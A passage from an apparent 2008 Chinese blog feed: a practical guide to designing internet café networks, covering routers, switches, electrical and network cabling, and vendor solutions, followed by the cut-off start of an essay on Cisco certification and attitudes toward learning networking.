目前光纤接入已经是网吧网络接入的主流,在接入层会有两个关键的网络设备,一个是光电转发器,主要负责将光信号转换成为网络信号,另外一个设备是路由器。光电转发器,一般是由电信接入商提供,网吧经营者只需选择一款合适的路由器就可以了。<br>
<br>
<br>
<img src="http://www.16288.com/UploadFiles/UploadFile7062.jpg" border="0"><br>
<br>
由于网吧数据流量比较大,路由器转发能力差,容易引起网络速度卡滞的故障。为此,网吧经营者必须慎重选择路由器。一些厂商已经专门为网吧研发了专用路由器设备,除满足网吧对高数据流量的要求外,还提供了一些安全功能,保障网吧的上网安全。<br>
<br>
除硬件路由器外,网吧经营者也可以选择软路由。Smoothwall、Icpop、Route Os、Linux等软路由操作系统的性能,不亚于硬件路由器,而且成本要低很多。网吧经营者可以根据自己的情况进行选择。<br>
<br>
网络汇聚层设计<br>
<br>
汇聚层是整个局域网的核心部分,一些网吧在内部建立了在线电影点播和CS游戏服务器,使得网吧内部的数据交换量特别大,因此,我们在选择汇聚层设备的时候,一定要选择一款合适的汇聚层网络设备。<br>
<br>
网吧局域网内部数据,全部在汇聚层的交换机处进行数据交换,因此我们汇聚层的核心交换机,必须具备高强度的稳定性,以及快速的数据转发能力。对于数量超过两百台机器的网吧,可以选择具备网管功能的的三层交换设备,支持VLAN功能是首选。当网络容量达到一定规模后,为人保障网络的通畅,我们必须划分VLAN。<br>
<br>
能够衡量交换机性能的指标就是背板带宽,对于安置在数据汇聚层的三层交换机来说,背板带宽不能低于16G,而且要支持MAC地址学习功能,MAC地址表不能小于32KB。汇聚层网络设备最好支持网络管理功能,方便我们的管理和维护;汇聚层网络设备的端口数量,最好要比我们设备的网络端口数量多出一些,方便以后我们的网络升级和改造。<br>
<br>
网络交换层设计<br>
<br>
交换层是整个网络中的中间层,连接着汇聚层和网络节点,是决定我们整体网络传输质量的很重要的一个环节。随着百兆网络设备的普及,我们交换层的网络设备,肯定首选百兆。虽然现在已经提出了千兆网络传输概念,但对于网吧来说,目前普及千兆并无实际意义。真正的千兆网络,无论是作为网络传输介质的网线,还是网络设备,与百兆网络的成本相比,都要高出数倍,而且网吧目前的技术力量,无法独立完成千兆网络的设计与维护工作。最重要的一点是,网吧内部数量流量,百兆已经满足需求。<br>
<br>
对于交换层的网络设备,只需要采购真正全双工的普通交换机就可以了。交换层的交换机,直接与PC相连,因此不需要太多的功能,交换机只要转发率足够快就可以了。目前市场上的售价千元左右的交换机,都可以满足网络交换层的需要。<br>
<br>
全双工概念解释:交换机全双工端口可以同时发送和接收数据,但这要交换机和所连接的设备都支持全双工工作方式。具有全双工功能的交换机具有以下优点: <br>
<br>
高吞吐量(Throughput):两倍于单工模式通信吞吐量。<br>
<br>
避免碰撞(Collision Avoidance):没有发送/接收碰撞。<br>
<br>
目前,市场销售的网卡和交换机,基本全部支持全双工功能,但在购买时网吧经营者也要仔细辨别,避免上当。<br>
第二部分:网吧综合布线<br>
<br>
网吧的综合布线,主要有两大块,一部分是电源系统的布线的设计,另外一部分是网络系统的布线设计。对于网吧经营者来说,一般不太重视电源系统的布线设计,而这一块恰恰是最容易出问题的一部分,也是影响网络传输速度的无形杀手。<br>
<br>
电源系统的布线<br>
<br>
网吧电源系统的布线,可以分为设计、施工、验收三个步骤,在这三个步骤中需要注意以下规则和事项。<br>
<br>
一、布线设计 <br>
<br>
现在市电供应系统普遍采用三相四线制供电模式,建议仍在使用两相供电的网吧更换为三相四线制的供电模式。电力专家表示,三相四线制的供电模式,不仅可以为网吧提供稳定的电压,与两相供电相比,有一定的节能性,三相四线制的供电模式对于网吧来说会经济一些。对于普通网吧来说,网吧的主要用电系统有:<br>
<br>
1、空调:对网吧来说,空调已经成为一种标准配置,一般使用柜式空调,而且功耗很大,每台功率一般在3500-4500W之间。如果使用三相四线制的供电模式,建议网吧经营者在购买时,选择使用三相供电的空调系统。三相供电的空调,功率大,可以满足网吧这一特殊经营场所的需求。同时,在设计网吧电源布线系统时,必须给空调配备专用电源线路。<br>
<br>
2、电脑:一般在对网吧电源系统布线设计时,容易产生一个误区,认为电脑使用的电源线随便拉一条就行。其实,网吧内总负载最大的还是电脑,在不配备音箱的情况下,功率一般在150W左右,如果使用了19寸的CRT显示器,单台PC的功率接近200W。机器数量增多,功率就明显增大。因此,网吧电脑使用的电源线,不应该是逐一串联的模式,而是使用分组点接,具体做法如下:<br>
<br>
每隔1.5米左右接入一只10A三芯国标插座(即墙上嵌入的独立插座)作为一个点,再将上述多孔插座接入,在1.5米的范围内,将会有4-5台电脑使用这一个插座接入电源;然后,可视实际情况把电脑按10台或16台为一组,每组由一个空气开关控制,整个网吧可以分为4-6组或者更多的组。<br>
<br>
根据每条主干的负载,合理选择电源线的型号。一般来说,主干线路使用铜芯线,下面的分支线路可以使用铝芯线(笔者建议,最好网吧电源系统的所有线路全部采用GB的铜芯线)。同时,根据电源的负载合理选择不同规格的电源线。<br>
<br>
3、网络设备和照明设备:对于有专业机柜的网吧,建议对路由器等价值较高的网络设备加UPS后备电源,以保护网络设备的安全。<br>
二、具体施工<br>
<br>
1、电源布线应该与房间装修同步进行,为了网吧环境的美观,不宜将电源线布置在明处,可以放置在PVC管道或专用的电源线通道中。<br>
<br>
2、对于比较重要的主干线路,最好在布线施工时多布设一条线路做备份线路。同时,为避免影响网线和电话线的传输质量,电源线最好单独走一个管道或者PVC槽子。对于一些不易进行二次施工的管道,请务必布设备用线路。<br>
<br>
3、选择电源主干和分支线路的规格时,建议在目前负载功率的基础上,上浮50-80%的数值,以满足未来网吧机器升级时的供电需求。<br>
<br>
4、在布设电源线时,应该做上一些标记。每个空气开关控制哪条线路,都要做详细的记录。<br>
<br>
三、验收<br>
<br>
所有电源布线工作结束后,必须在所有的布线管道未封闭之前进行一系列的验收和检测。电源系统的检测,主要分以下几个方面:<br>
<br>
1、测试所有设备工作是否正常:网吧电源布线工作结束后,请测试所有的线路是否能够正常工作,空气开关工作是否正常。<br>
<br>
2、网吧全负载运行:运行第一步测试后,把网吧内的设备分批次打开,并逐步达到网吧的全负载功率运行。全负载运行的时间最好在24小时以上,这样才能检验电源布线系统的真正性能。在全负载运行过程中,如果出现空气开关自动跳闸或者保险丝被烧断,请务必仔细检查原因。<br>
<br>
3、网吧超负荷运行:经过全负载运行后,可以进行短时间的超负荷运行,以检测电源系统的质量和抗压性能。超负荷运行的时间可以在十个小时左右,根据实际情况进行测试。<br>
<br>
四、需要注意的几个问题<br>
<br>
网吧电源布线的整个过程中,必须高度重视一些小问题,一些微小失误就可能造成无法估计的损失。<br>
<br>
1、地线的安装:细心的技术人员会发现,在电脑的三相电源插头中,负责接地的那一芯,是没有电源线的,也就是缺乏有效的接地措施。但是,网吧内电脑和一些网络设备,在正常工作中外壳都可能产生一些静电,如果没有有效的接地措施,静电积累到一定程度,可能会烧坏硬件或者击伤人。因此,在网吧电源布线时,必须安装地线。<br>
<br>
2、避雷措施:在很多技术人员眼中,避雷似乎与网吧毫不相关,但是,如果网吧没有良好的避雷措施,遇到雷击时,可能会烧毁网吧内所有的设备。<br>
<br>
3、备份线路:对于网吧电源系统的主干线路或一些不方便检修的线路,一定要布设备份线路,如果主线路损坏,立即更换成备份线路。特别是对于正在营业中的网吧,布设备份线路是提高网吧自身竞争力的一大举措。<br>
<br>
4、高质量的配线间:对于百台以上的网吧,在设计电源系统时最好准备一个独立的空间安装空气开关、UPS及其它的网吧电源设备。<br>
<br>
5、在使用三相四线制供电系统的网吧,设计电源系统时,要保证三根火线的负载不要相差太大,差值以500W左右最佳。<br>
<br>
网吧电源系统的布线,最好找专业的电工技师或者专业的综合布线人员来做,并且要做好布线的档案记录工作,每一条电源线的负责范围、走向如何等都要记录在文档中,以方便日后维护。<br>
<br>
网络系统布线<br>
<br>
<br>
<img src="http://www.16288.com/UploadFiles/UploadFile7066.jpg" border="0"><br>
<br>
网吧网络综合布线与网吧电源系统布线相比更复杂,不但要考虑到网络布线,还要考虑到网络设备的安装位置、网络通讯介质的选择等因素。<br>
<br>
一、网络布线设计<br>
<br>
网络布线必须根据网吧的网络结构来设计。目前,网吧一般都是路由器&mdash;&mdash;主交换机&mdash;&mdash;交换机&mdash;&mdash;客户机的网络模式。在网络布线设计前,必须了解以下两点基础知识:<br>
<br>
第一、双绞线最长的通讯距离:目前,网吧内使用最多的就是超五类双绞线,理论上其点与点之间最大的通讯距离是100米,而实际上只有95米。所以,在进行网吧网络布线设计时,建议最好先测量一下点与点之间的实际距离。 <br>
第二、交换机最大的级联数目:对于一些面积较大的网吧,机器数目多且位置分散,交换机通常需要级联,而级联的最大数目不能超过五个。也就是说,双绞线借助于交换机的级联可以延长传输距离,但理论上最长不能超过五百米。<br>
<br>
二、布线施工及注意事项<br>
<br>
1、双绞线正确接法:根据网络布线标准,双绞线有568A和568B两种标准接法,目前使用最广泛的接法是568B接法。由于现在网络设备都是智能型设备,支持568A和568B两种接线标准,因此,建议使用568B的接线标准。568B接线标准中,定义的标准线序是:橙白、橙、绿白、蓝、蓝白、绿、棕白、棕,从左至右是1号线至8号线;568B的接线标准就是水晶头的两端都使用标准的线序。<br>
<br>
2、选择质量过关的水晶头:选择水晶头时,中档品牌就可以,但切记不能选择低档的劣质货。劣质水晶头长时间使用后,里面的金属卡片网线容易接触不良,造成网络传输质量差。<br>
<br>
3、交换机位置的安放:无论是主交换机还是二级交换机,在选择安装位置时,一定要把交换机放置在节点的中间位置,一方面可以节约网线的使用量,另外还可以将网络的传输距离减小到最短,从而提高网络传输质量。<br>
<br>
4、合理布放双绞线:布线时,可以把双绞线放在PVC管或专业的线槽中,双绞线经过的地方,尽量不要有强磁场、大功能的电器(空调)、电源线等,否则会大大降低网络传输质量。<br>
<br>
5、尽量布放备份线路:双绞线都有一定的使用寿命,加上客观自然条件的影响,双绞线损坏是正常的事情,所以进行网络布线时,对于从主交换机到二级交换机之间的级联线,至少要布放1-2根备份线路。交换机至工作站之间的双绞线,可以根据网吧的实际情况,布放一定数量的备用线路。<br>
<br>
6、把线路编上号:网络布线时,把每条双绞线都做一个编号,并且双绞线的两端要做相同的编号。为方便日后维护,双绞线每隔一定的距离最好也做上编号,<br>
<br>
<img src="http://www.16288.com/UploadFiles/UploadFile7067.jpg" border="0"><br>
特别是对于距离比较长的双绞线.<br>
小技巧:网络布线时,双绞线的两端,最好预留2-3米的富裕长度,水晶头故障时这条线还有再利用的价值。 <br>
<br>
三、检测<br>
<br>
1、网线测试:网线布设完毕、水晶头安装在两端后,立即用网络测试仪测试线路是否可以正常工作。如果不行,则可以判定水晶头与网线连接不好,这就需要重做水晶头并测试,一直到网线可以正常工作为止。<br>
<br>
2、网络设备测试:网络设备安装完毕后,加电进行测试。先测试所有的网络设备包括网线是否工作正常;然后测试点与点之间的网络传输速度;最后测试一点对多点的网络传输速度。<br>
<br>
3、综合测试:测试外部网络和内部网络的互联互通性能,主要包括以下几点:下载速度测试、网络游戏顺畅程度、在线影院流畅度等。如在测试中发现问题,请仔细查找原因并排除。<br>
<br>
网吧在进行综合布线时,最好在装修之前完成,所有的测试也必须在装修完工之前有一个定论。否则,装修完成后,如果布线有问题,你可能要进行二次装修了,损失惨重。  &nbsp;&nbsp;   <br>
<br>
<br>
第三部分:网吧网络综合解决方案<br>
<br>
在组建网吧网络的过程中,网络方案的设计取决于网吧客户机的数量。下面,我们按照网吧规模的大小,提出几套网吧网络综合解决方案,以供网吧经营者参考。<br>
<br>
华为3Com中小型网吧解决方案<br>
<br>
高质量的服务依赖于网吧的硬件设备,主要包括主机和网络设备,而其中网络设备是整个网吧的核心,为了在激烈的竞争中立足,对于一些规模较小的网吧经营者而言,由于受网吧规模限制,技术力量有限是一个非常现实的问题。为此,选择一套质量好、综合成本低、服务好的网络设备,是网吧经营者首先要考虑问题。<br>
<br>
一、网吧网络设计需求分析<br>
<br>
网吧是网络应用中一个比较特殊的环境,概括起来有以下几个方面的需求和特点:<br>
<br>
1、需要给用户提供网页浏览、收发邮件、QQ聊天、网络游戏、网络教育、网上电影、网上其它各类服务,并且同一用户可能同时进行多种活动,对路由器的出口带宽及其可建立连接数提出了要求。<br>
<br>
2、现在很多网吧内部配置游戏服务器、电影服务器、VOD点播服务器等,用户通过局域网玩游戏、看电影等,这部分流量不用出口,内部局域网的设计要考虑对内部服务器的访问瓶颈问题。<br>
<br>
3、随着网民要求的提高,对网络稳定性、网络速度提出了越来越高的要求,对网络设备稳定性和可靠性提出了要求,保证能长时间不间断稳定工作。<br>
<br>
4、 针对高档服务需求,现在很多网吧提供贵宾区无线上网服务。<br>
<br>
二、网吧网络设计一般原则<br>
<br>
1、高速度、高稳定。网络的高速度、低延时,承受大流量冲击的长期稳定可靠性是网吧设计中的重中之重。 <br>
<br>
2、高性价比。网吧市场竞争的加剧使网络设计成本成为考虑的重点,在设备的选型上没有必要一味地追求高档次产品,选择合适的设备使用一个好的解决方案有机地整合各设备使之发挥最优特性才能达到最高性价比。合适的规模选用合适的设备。 <br>
<br>
3、网络设备的选择要注意品牌和服务。网络被视为网吧的生命线,为此在选择网络设备时,一定要选择大品牌,售后服务一定要好。针对网吧网络不间断性的特点,在采购时有必要咨询厂商是否有提供备用机这一服务项目。<br>
<br>
三、50台以下用户迷你型网吧解决方案<br>
<br>
此类网吧虽然营业面积相对较小,计算机数量也相对较少,对网络性能要求止于普通的浏览、聊天、收发邮件、游戏等。华为3Com的具体设计如下:<br>
<br>
1、路由器 <br>
<br>
采用Aolynk BR204智能宽带路由器。BR204内置SPI防火墙、网络地址转换(NAT)、DHCP服务器、PPPoE拨号器、动态DNS、防病毒、基于IP地址过滤、基于域名过滤、基于MAC地址过滤和基于时间过滤,完全支持网络游戏,网络聊天工具,网上视频等常见应用,是小型网吧网络的最佳选择。 <br>
<br>
2、交换机 <br>
<br>
采用2个Quidway S1024非网管10/100M交换机。S1024具有4.8Gbps的背板交换能力。提供24个10/100M全双工线速端口,多达8K的MAC地址表,每端口工作在10M或100M时,包转发速率为14.8K/秒;最大延迟仅为10u/秒;真正达到快速以太网所需的性能,为网吧内部游戏提供了良好的稳定的运行带宽。另外S1024还支持自动适应交叉网线或直连网线,方便了电脑网卡的连接;简明的LED状态显示,方便网管直观的查看交换机运行状况。<br>
<br>
<br>
<br>
<img src="http://www.16288.com/UploadFiles/UploadFile7073.jpg" border="0"><br>
<br>
<br>
华为小网吧解决方案拓扑图 <br>
<br>
这套方案的特点是价格便宜,维护管理不需要太多专业技术,环境适应性强,长期运行性能稳定可靠。<br>
<br>
NETGEAR中型网吧网络组网方案<br>
<br>
客户机数量超过200台的网吧,可以称得上是中型网吧了。对于中型规模的网吧来说,网络已经形成一定规模,如果内部有多台应用服务器,针对内部数据流量高的情况,网吧可以考虑网络核心选择高性能的交换机。针对中型网吧的应用,NETGEAR的中型网吧网络做如下设计:<br>
<br>
<br>
<br>
<img src="http://www.16288.com/UploadFiles/UploadFile7074.jpg" border="0"><br>
<br>
网络设计结构将分为中心和接入层:<br>
<br>
1、以一台GSM7224高性能的二层线速千兆交换机作为中心交换机,用来联接接入工作组交换机、服务器及防火墙。 <br>
<br>
GSM7224提供了24个10/100/1000M千兆RJ-45端口,4个 GBIC 插槽。GBIC插槽可提供千兆以太网千兆光纤的连接 (每一个1000Base-T 与对应的GBIC 端口共享使用)。NETGEAR高性能线速中心交换机GSM7224产品,具有48Gbps背板带宽性能,35.7Mpps线速转发二层转发能力,64字节网络帧延迟不到20微秒。如此高速的交换机能力,足以提供中小型网吧网络高速的性能要求。 <br>
<br>
GSM7224具有良好的高可用和高可靠性。灵活的端口配置、服务质量管理等功能、VLAN管理、MAC地址端口绑定等特性。为中型及中小型网吧提供了完整的解决方案和必须的交换性能.<br>
<br>
<br>
<br>
<br>
<img src="http://www.16288.com/UploadFiles/UploadFile7075.jpg" border="0"><br>
2、以JFS524接入交换机,向下可提供线速的10/100M端口作为信息点的接入,JFS524非网管机架式交换机具有2.4Gbps线速的交换性能。提供24个10/100M端口接入,多达4K的MAC地址表,每端口工作在10M或100M时,包转发速率为14.8K/秒;最大延迟仅为20u /秒;真正达到快速以太网所需的性能。 <br>
<br>
另外JFS524还具有每端口接入正/反线自适应功能,方便了电脑网卡的接入;简明的LED状态显示,方便网管直观的查看交换机运行状况。<br>
<br>
<br>
<img src="http://www.16288.com/UploadFiles/UploadFile7078.jpg" border="0"><br>
<br>
3、以FR328S SPI宽带防火墙接入Internet。 FR328S具防火墙(SPI)、网络地址转换(NAT)、路由器、交换机、防病毒、串口备份功能于一体,提供1个10/100M广域网口,8个10/100M局域网口.WAN口可以支持多种宽带线路方式(ADSL、Cable Modem、宽带以太网) <br>
<br>
FR328S SPI宽带防火墙具有大于50Mbps的Lan-Wan吞吐量性能, 经过严格测试的防火墙产品性能稳定,可靠性高。延迟小、速度快、成本低,符合中小型网吧对速度的需求。<br>
<br>
FR328S防火墙产品具有比FR114P更强的安全性能保证, 先进的SPI (基于连接的状态数据包检测防火墙技术)、 DoS保护(拒绝服务攻击保护)、入侵检测等安全特性。FR328S防火墙产品可以根据系统的安全需要灵活定制或添加策略,用于防止大多数非法网络攻击和冲击波等网络病毒,<br>
<br>
FR328S还支持IPSec / PPTP / L2TP VPN 穿透等技术。提供支持如日志记录、Internet 访问告警、报表、基于URL的内容过滤等安全应用特性。可以方便管理员及时得到相关安全告警及相关信息数据。<br>
<br>
FR328S是中型和中小型网吧宽带连入Internet的最佳选择.<br>
<br>
方案特点:该方案的特点是高强度的稳定性,所有网络设备全部来自世界一流的网络设备生产商,价格相对额贵。由于一些网吧无需购买价格昂贵的防火墙设备,因此本方案中的防火墙略显多余。<br>
<br>
锐捷大型网吧网络解决方案<br>
<br>
大型网吧,严格来说没有一个数量的定义。随着网吧行业的飞速发展,目前200台以上的可以称之为大型网吧,可装机容量为五百台以上的网吧已经不再罕见。对于大型网吧来说,设计网络时,首先要保证稳定性,因为网络游戏和包括视频、音频在内的网络聊天是网吧应用中的主流,这些应用会导致网吧数据传输流量增多,容易造成系统堵塞,甚至会因接入原因而导致网络崩溃;其次是安全性,病毒侵入与非法攻击是网吧最大的安全隐患;最后是可管理性,如果管理过于复杂,无疑会增加网吧的管理成本。<br>
<br>
锐捷大型网吧网络解决方案采用多层体系架构:核心层采用锐捷网络模块化骨干路由交换机RG-S4009,汇聚层采用千兆网管交换机STAR-S2024E,接入层采用智能管理型交换机RG-S1926S。整网搭建千兆骨干线路带宽,彻底消除网吧的大流量数据交换与线路带宽之间的瓶颈。<br>
<br>
<img src="http://www.16288.com/UploadFiles/UploadFile7077.gif" border="0"><br>
RG-S4009采用全硬件化多层交换技术,提供二到七层的智能流分类和完善QoS,可以为各种类型的数据,提供完善的端到端服务质量、丰富的安全设置和基于策略的网管,最大限度地满足融合、智能、安全的需求,特别适合网吧内视频点播、语音等数据流的保障;同时,从接入层就将病毒等大流量恶意攻击数据屏蔽掉,避免危害全网。<br>
<br>
大型网吧一般会根据PC终端根据应用类型的不同,划分成了上网区、游戏区、休闲区,为了避免网络出现广播风暴,可以定义三个不同的VLAN。合理的VLAN划分,不仅能有效的隔离广播风暴,提高整个网络的使用性能,又能为网吧的管理提供方便。同时,全线速三层交换能够很好的处理不同VLAN间的数据交换,使得整个网吧的数据流向分配更加合理。<br>
<br>
方案特点:该方案的特点就是方案中所部署的网络设备,具有全中文的配置导航界面,管理简单,稍微有些计算机网络基础的网吧工作人员就可以承担管理维护工作。另外锐捷网络的RG-S4009、STAR-S2024E和RG-S1926S均可支持多种管理方式,而且使得维护和管理量极大降低。<br> <a href="http://hi.baidu.com/csuwqz/blog/item/6194c1d4d7c39807a08bb7a9.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/csuwqz/blog/category/%CD%F8%C2%E7%BC%BC%CA%F5">网络技术</a>&nbsp;<a href="http://hi.baidu.com/csuwqz/blog/item/6194c1d4d7c39807a08bb7a9.html#comment">查看评论</a>]]></description>
        <pubDate>2008-07-27  14:26</pubDate>
        <category><![CDATA[网络技术]]></category>
        <author><![CDATA[csuwqz]]></author>
		<guid>http://hi.baidu.com/csuwqz/blog/item/6194c1d4d7c39807a08bb7a9.html</guid>
</item>

<item>
        <title><![CDATA[“网络工程师”不仅仅只是一个头衔]]></title>
        <link><![CDATA[http://hi.baidu.com/csuwqz/blog/item/09c443f71f8e8724730eecae.html]]></link>
        <description><![CDATA[
		
		<div class="t_msgfont" >随着互联网技术的不断发展以及在应用上的越发完善，国内一直对网络技术人才求贤若渴，而立志于投身网络事业的人们也都在摩拳擦掌、跃跃欲试。于是Cisco认证就成了一个香饽饽，大家为了学习网络技术而纷纷加入，在90年代的中国，这些刻苦的求知者曾让我们欣慰与感动，也确确实实培养了一大批优秀的网络工程师。但随着事态的发展，有些人对Cisco认证的态度逐渐发生了转变，相对于技术的精通来说，他们更注重文凭的取得，认为只要头上顶着CCIE的光环就好比手里握着一把通往成功的金钥匙。很显然，这种&ldquo;工程师速成&rdquo;的想法源自激烈的就业竞争，而在它的直接影响下，将给网络业界带来一个前所未有的恶性死循环：为了前途和高薪大家踊跃报名CCIE并希望速成，用人单位也对高薪聘请的CCIE抱有很大的期望，可事实证明这些拿着CCIE证书的&ldquo;速成&rdquo;工程师并没有多么理想，他们甚至不能处理CCIE各技术方向之外的某些简单问题，于是用人单位在之后的招聘中逐渐放弃了CCIE，随后CCIE的待遇在国内严重缩水。<br>
　　<br>
　　从以上结果来看承受最后代价的好像是个人。其实不然，事实上最后蒙受的损失都将由国家买单。一两个网络工程师的好坏影响不了国家的全局，但当部分工程师都存在瑕疵时，将会给国家的现代化建设带来严重的后果。下面我想对以上问题发表一些个人看法，尤其是在针对当前形式下立志投身网络业界的人需要具备的学习态度和方法做一个建议性的阐述，希望能够抛砖引玉，给大家带来一些切实的启发。<br>
　　<br>
　　<br>
　　引子<br>
　　<br>
　　事实上，在网络刚诞生的时候，对大部分人来说是无关紧要的，即使普及到民用阶段之初，离普通人群也比较遥远。当时&ldquo;互联网&rdquo;这个称谓在人们的心目中仅仅只是一个传说中的名词而已，越是这种抽象的东西在未接触前就显得越难以理解。对于当时国内一些研究机构以及痴迷计算机技术的人们来说，它们希望了解更多的相关知识并搭上第一班开往互联网的快车，怀着这份期待与情感，这帮见证中国互联网成长的前辈们一下就等了将近20年。<br>
　　<br>
　　1987年钱天白教授发的第一封电子邮件揭开了中国加入互联网大家庭的序幕，之后的又一个10年互联网络在中国以及全世界蓬勃发展，并真正开始普及。到今天为止，网络实实在在地成了我们生活、工作的一部分，科研、教育、金融、政府、企业等所有机构的正常运作基本上都以网络为依托。今天，网络运行的稳定与否，往大了说能影响宏观经济规模、国家建设；往小了说能打碎众多部门从业人员的饭碗。这意味着什么？随着时间推移，当网络由一个抽象概念转化为一种必备工具时，它能够左右我们，并改变我们的习惯，对它过多的依赖使得所有坐在&ldquo;网络&rdquo;快车上的人们必须抽出一点时间来研究并维护它，在理性的驱动下，我们来不得半点马虎。由此，又引申出IT行业的另外一个重要分支，这就是计算机网络技术。<br>
　　<br>
　　随着&ldquo;互联网络&rdquo;这个曾经比较抽象的东西慢慢走近我们，这时才发现，原来这个庞然大物并不是那么&ldquo;虚拟&rdquo;，它也有血有肉，有灵魂有细胞。路由器是它的灵魂，交换机是它的关节，错综复杂的网络线路是神经，难以数计的终端是细胞，而在网络上穿流不止的数据正是它的血液。当一切都量化的时候，我们似乎用手抓到了一个实实在在的东西，并开始解剖、研究它，而Cisco Systems公司正是这只抓住&ldquo;网络&rdquo;的手。<br>
　　<br>
　　我们都知道，狼群需要头狼，大众依赖灯塔，而在网络的世界里，Cisco Systems公司是毫无疑问的带头人。这个最早从事路由器研发生产的公司于1984年成立在美国硅谷，自1993年并购Crescendo以来，用了十年不到的时间并购了81家公司，在其进入的每一个领域都占有第一或第二的市场份额，成为目前全球网络设备的主要供应商。随着公司规模不断扩大以及在全球IT领域树立的权威性，Cisco逐渐认识到，相对于网络以及网络硬件设备来说，对网络的管理以及技术支持应该同样重要，于是率先推出一项育才计划，通过针对性的系统培训，使一些人员具备技术上的优势，以便对基于Cisco设备下的网络进行整体规划和技术支持。这就是Cisco工程师资格认证计划(Cisco Career Certification Program，简称C无党派人士)，93年发展成为Cisco职业认证体系，该认证体系主要分为以下三个级别（Cisco官方发布）：<br>
　　　　<br>
　　 Associate（助理工程师）：Cisco职业认证的初级认证，是网络职业认证的第一步，这是一个助理级的网络认证，包括CCNA和CCDA两类，获得CCNA或CCDA认证，能够证明持证人具备网络基础技能。<br>
　　 Professional（资深工程师）：Cisco职业认证的中级认证，也是专业级别的认证，包括CCDP、CCNP、CCIP、CCSP四种认证，每种认证的发展方向不同，取决于个人的职业发方向，通过该级别认证表示你具备高级的、专业的网络技术。<br>
　　 Cisco Certified Internetwork Expert（互联网专家）：是全球Internetworking领域中的顶级CCIE认证证书。这个认证主要提供工程师在今日快速变动的网络环境中驾奴Cisco设备所需的专业知识。成为CCIE除了整个产业的认同之外，CCIE也是你不断持有最新网络知识的指标，你将会在你的专业领域中成为一位最具竞争力的人。<br>
　　<br>
　　由于Cisco公司在业界的主导地位以及其认证体系的科学性，Cisco职业认证一直是全球网络技术人员最受认可的、权威的职业认证。<br>
　　<br>
　　<br>
　　中国的网络发展及Cisco认证在国内的普及<br>
　　<br>
　　在全球范围的广域网络里，中国是一个重要的组成部分。从90年代开始，中国国内的网络发展状况日新月异，到2000年之后，发展趋势不断递增，截止到目前，网络已经成为我们生活、工作的一部分。以下是CNNIC第20次（2007.7）中国互联网络发展状况统计报告说明中的一些数据：<br>
　　（1）目前中国网民人数约为1.62亿，居世界第二。<br>
　　（2）目前中国联网计算机数量达到6710万台，比2006年末增长了770万台，比2006年同期增加了1260万台，年增长率23.1%。<br>
　　（3）截至2007年6月底，中国拥有的IPv4地址数达到1.18亿个，排名世界第三。<br>
　　（4）中国网站数量达到131万个，其中增长最快的是CN域名下的网站，截至2007年6月底，CN域名下的网站数量达到81万，年增长率137.5%。<br>
　　（5）截至2007年6月，中国国际出口带宽总量为312,346Mbps，年增长率达到45.8%。<br>
   （6）13%的中国家庭接入了互联网。<br>
　　<br>
　　从以上数据不难看出，互联网的规模及其相关领域近几年（尤其2000年之后）在国内的发展速度一直是高速攀升的，影响力也在日渐强大。作为高新技术的结晶，网络规模的不断壮大在促进社会发展的同时，也给从业人员带来了新的挑战，这就是对网络技术的掌握以及全社会对网络技术人才的迫切需求。对于二十一世纪的中国来说，IT高级人才的缺乏是一个比较严重的问题，我国版图辽阔，人员众多，各种人才缺口很难在短时间内填平，而在有效的时期内完成这个过渡似乎来得并不怎么容易，毕竟教育是需要规划和时间的，从娃娃抓起只能放在长远利益上，那么当下的问题谁来解决呢？<br>
　　<br>
　　实际上，Cisco很早就在关注中国的网络发展情况，并带着他为以自豪的先进技术和管理经验来到了中国，只不过随着事态的发展，大家才慢慢意识到Cisco职业认证体系的科学性和重要性。2000年前后，Cisco职业认证开始在中国渐成气候，到目前为止已经席卷全国。为什么所有的网络从业人员都希望获得Cisco的一纸认证呢？事实上，Cisco原本希望各国的代理机构能够拥有几名经过其工程师认证的技术人员（CCIE），从而能更好的为客户提供技术支持与运行保障，但随着Cisco市场份额的不断做大，人们发现作为一个网络技术人员，最起码的要求就是能够调试、设置基于Cisco设备下的网络，于是具备Cisco设备操作能力的技师就显得相当吃香，条条大路通罗马，随即业内人员都寄希望在Cisco的认证之上。<br>
　　<br>
　　目前国内的就业竞争已到了战国时期，如果说几年前Cisco职业认证还只是网络业内人士专利的话，那么如今早已是全民皆兵了。即将毕业的大学生为了在竞争中增加自己的砝码、打算转行的从业人员为了得到一技之长、网络技术人员为了提升自己的职位等等，都是选择Cisco职业认证的理由。当然，更多的理由也许我们无从得知，但有一点可以确定的是，Cisco职业认证已在国内受到追捧，具备证书的人员将会更加具有竞争力。当然，对Cisco认证不屑一顾者同样存在。<br>
　　<br>
　　Cisco公司在中国授权了一批培训机构，用来帮助想要考取认证的学员顺利通过考试，在这里你可以学到Cisco倡导的先进技术和一些管理理念，然后根据侧重不同考取不同类别的认证。而我国人口众多，仅仅这些授权机构的数量实在有限，于是第三方培训机构犹如雨后春笋般出现。相对于Cisco授权的培训机构来说，一些优秀的第三方培训机构往往规模更大，上课方式也灵活多样，再加上收费便宜，所以成了国内培养Cisco认证网络工程师的一道中坚力量，比如亚威、华强等。<br>
　　<br>
　　就目前来看，Cisco证书依然比较强势，各种培训机构也遍布全国，对希望掌握网络技术的各类人员来说，一切外部条件都已经准备就绪，而唯一剩下的，仅仅在于你的主观决定而已。<br>
　　<br>
　　<br>
　　精神一马当先，态度决定一切<br>
　　<br>
　　前国足教练米卢曾经说过一句话，叫做态度决定一切。这句话看上去比较抽象，但却蕴含着很深的哲理。曾经在和一些CCIE的学员探讨问题时，我询问他们为什么希望拿到CCIE证书，结果得到的答案五花八门。有的说希望供职于IT界、有的说为了增加自身的砝码以提高竞争力，也有人说能够提高薪水，是一种身份的象征。和亚威的讲师们聊天，他们也反映了这种情况，即有些学员身上存在着一种过强的目的性，虽然学习精神比较高涨，但更多的只是针对考试，相对于业务的精通来说，他们的出发点从一开始就放在了CCIE的证书上。这样做的后果就是，即使拿到了CCIE证书，也会由于应试学习的局限性，在以后的实际工作中出现各种细节上的问题，造成眼高手低，虽然具备CCIE资质，但却干着CCNA也能干的事。实际上对于Cisco的学员来说，学习的精神固然重要，但树立正确的态度才是问题的关键所在。<br>
